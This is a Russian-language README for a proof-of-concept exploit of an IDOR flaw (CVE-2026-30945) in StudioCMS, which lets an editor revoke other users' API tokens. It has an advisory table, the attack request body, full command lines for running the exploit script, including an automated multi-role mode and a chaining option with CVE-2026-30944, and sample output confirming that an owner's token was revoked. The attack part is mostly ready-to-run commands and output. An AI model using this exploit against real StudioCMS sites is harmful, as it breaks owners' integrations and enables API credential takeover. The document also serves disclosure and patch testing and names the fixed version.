
Proof-of-concept эксплойт для CVE-2026-30945, IDOR в StudioCMS, позволяющий произвольный отзыв API-токенов и отказ в обслуживании. Включает режимы ручного и автоматизированного тестирования.
StudioCMS IDOR — Произвольный отзыв API-токенов, приводящий к отказу в обслуживании
Конечная точка DELETE /studiocms_api/dashboard/api-tokens в StudioCMS ≤ 0.3.0 позволяет любому аутентифицированному пользователю с правами editor или выше отзывать API-токены, принадлежащие любому другому пользователю, включая учётные записи admin и owner.
Обработчик принимает tokenID и userID непосредственно из тела запроса без проверки владения токеном, личности вызывающего или иерархии ролей. Это позволяет осуществлять целенаправленный отказ в обслуживании критически важных интеграций и автоматизаций.
Связано: Эта уязвимость имеет ту же первопричину, что и CVE-2026-30944 (IDOR при генерации токенов). При объединении в цепочку злоумышленник может отозвать легитимные токены и сгенерировать новые, добившись полного захвата учётных данных API.
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ Attacker │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Server │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ Owner's │
│ CI/CD │
│ Pipeline │──► ❌ 401 Unauthorized
│ Integration │──► ❌ API Access Lost
│ Monitoring │──► ❌ Silent Failure
└──────────────┘
| Поле | Значение |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: Обход авторизации через управляемый пользователем ключ |
| CWE (дополнительно) | CWE-863: Некорректная авторизация |
| MITRE ATT&CK | T1531 — Удаление доступа к учётной записи |
| OWASP API | API1:2023 — Нарушенная авторизация на уровне объектов |
| Затронуто | studiocms ≤ 0.3.0 |
| Исправлено в | studiocms 0.4.0 |
| Файл | Описание |
|---|---|
cve_2026_30945_poc.py | Python-скрипт эксплуатации с ручным и автоматическим режимами |
README.md | Этот файл |
LICENSE | Лицензия MIT |
Editorpip install requests colorama
# Отзыв конкретного токена, принадлежащего владельцу
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# Объединение с CVE-2026-30944: сначала создание токена для цели
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Сохранение результатов в JSON
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# Тестирование с несколькими ролями
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| Аргумент | Описание |
|---|---|
-u, --url | Базовый URL целевого StudioCMS |
--target-uuid | UUID целевого пользователя, чей токен будет отозван |
| Аргумент | Описание |
|---|---|
--token-id | Внутренний UUID записи токена для отзыва (не JWT). Если опущен, скрипт сначала попытается создать токен через CVE-2026-30944 |
| Аргумент | Описание |
|---|---|
--username | Имя пользователя для аутентификации |
--password | Пароль для аутентификации |
| Аргумент | Описание |
|---|---|
--auto-test | Включить автоматическое тестирование с несколькими ролями |
--editor-user | Имя пользователя учётной записи Editor |
--editor-pass | Пароль учётной записи Editor |
--visitor-user | Имя пользователя учётной записи Visitor |
--visitor-pass | Пароль учётной записи Visitor |
| Аргумент | Описание |
|---|---|
--save | Сохранить результаты в JSON-файл |
--no-ssl-verify | Отключить проверку SSL-сертификатов |
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] Authenticated as 'editor01'
[*] Session user: editor01 (editor)
[*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[+] Token revoked! Server response: Token deleted
[!] VULNERABILITY CONFIRMED — Token successfully revoked!
[!] Target user's API integrations are now broken (DoS)
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[*] Access denied (403 Forbidden) — endpoint may be patched
[-] Revocation failed: Access denied (403 Forbidden)
При объединении с IDOR при генерации токенов (CVE-2026-30944) злоумышленник может выполнить полный захват учётных данных API:
Step 1: Revoke owner's legitimate token (CVE-2026-30945)
└──► Owner's CI/CD pipelines break silently
Step 2: Generate new token for owner (CVE-2026-30944)
└──► Attacker now has owner-level API access